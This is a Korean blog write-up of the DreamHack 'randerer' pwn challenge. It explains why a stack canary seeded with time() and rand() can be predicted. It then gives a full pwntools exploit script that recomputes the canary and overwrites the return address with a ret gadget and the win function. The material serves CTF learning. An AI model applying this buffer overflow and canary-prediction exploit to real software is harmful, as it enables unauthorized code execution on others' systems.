DreamHack randerer 풀이

·2024년 9월 30일
0

DreamHack

목록 보기
3/6

1. 보호 기법 확인

2. 바이너리 분석

int __fastcall main(int argc, const char **argv, const char **envp)
{
  time_t v3; // rax
  char buf[16]; // [rsp+0h] [rbp-20h] BYREF
  __int64 v6; // [rsp+10h] [rbp-10h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v6 = canary;
  v3 = time(0LL);
  printf("time: %ld\n", v3);
  printf("input your data: ");
  read(0, buf, 0x100uLL);
  if ( v6 != canary )
  {
    puts("*** stack smashing detected ***: terminated Aborted");
    exit(1);
  }
  return 0;
}

흔한 버퍼 오버 플로우 문제인 것 같지만, 카나리를 프로그램에서 따로 생성하여 사용한다는 것을 알 수 있다. 문제의 설명이 rand() canary!! 인데, time을 주는 것으로 봐서는 이를 사용하면 카나리를 계산할 수 있으리라고 추측해볼 수 있다.

그리고 바이너리를 분석해보면 init_canary 함수가 존재하는 것을 확인할 수 있는데, 여기서 카나리를 생성한다.

void init_canary()
{
  unsigned int v0; // eax
  __int64 v1; // rbx
  int i; // [rsp+Ch] [rbp-14h]

  v0 = time(0LL);
  srand(v0);
  for ( i = 0; i <= 7; ++i )
  {
    v1 = canary << 8;
    canary = v1 | (unsigned __int8)rand();
  }
}

time(0)로 현재 시간을 가져와 그것을 시드로 사용한다.
그리고 반복문을 8번 돌면서 카나리를 8번 lsh하고, 이를 rand() 함수로 생성된 난수와 or 연산을 수행하여 카나리에 할당한다.

여기서 rand() 함수로 생성한 난수를 uint8로 타입 캐스팅을 해주는데, uint8의 범위는 0 ~ 255 이다.

또한 gdb로 확인해봤을 때, canary의 기본값은 0이라는 것을 알 수 있었다.

3. 익스플로잇 설계

파이썬의 ctypes 라이브러리를 사용해서 srand, time, rand 함수를 사용할 수 있으니, 이를 활용하여 카나리를 계산할 수 있다.

또한 바이너리에 PIE가 적용되어 있지 않고, win 함수를 제공하기 때문에 카나리를 우회하고 리턴 주소를 win 함수의 주소로 덮으면 문제를 해결할 수 있을 것이다.

4. 익스플로잇 코드

from pwn import *
import ctypes

# p = process("./prob")
p = remote("host3.dreamhack.games",9556)
context.log_level = "DEBUG"
libc = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

win = 0x401291
ret = 0x000000000040101a
p.recvuntil(b"time: ")
t = int(p.recvline())

#카나리 릭
cnry = 0
v0 = t
libc.srand(v0)
for _ in range(8):
    v1 = cnry << 8
    cnry = v1 | (libc.rand() % 256) # 256의 나머지를 쓰는 이유는 문제에서 unsigned int8 을 사용했기 떄문

print(hex(cnry))


payload = b'a'*16 + p64(cnry)
payload += b'a'*(40-len(payload))
payload += p64(ret)
payload += p64(win)


p.sendafter(b"input your data: ",payload)


p.interactive()

처음에는 카나리를 우회하고 바로 win 함수로 반환 주소를 덮었는데, 세그폴트가 떠서 ret 가젯을 찾아서 추가해줬다. PIE가 안 걸려있어서 편하게 풀었던 문제다.

profile
안녕하세요

0개의 댓글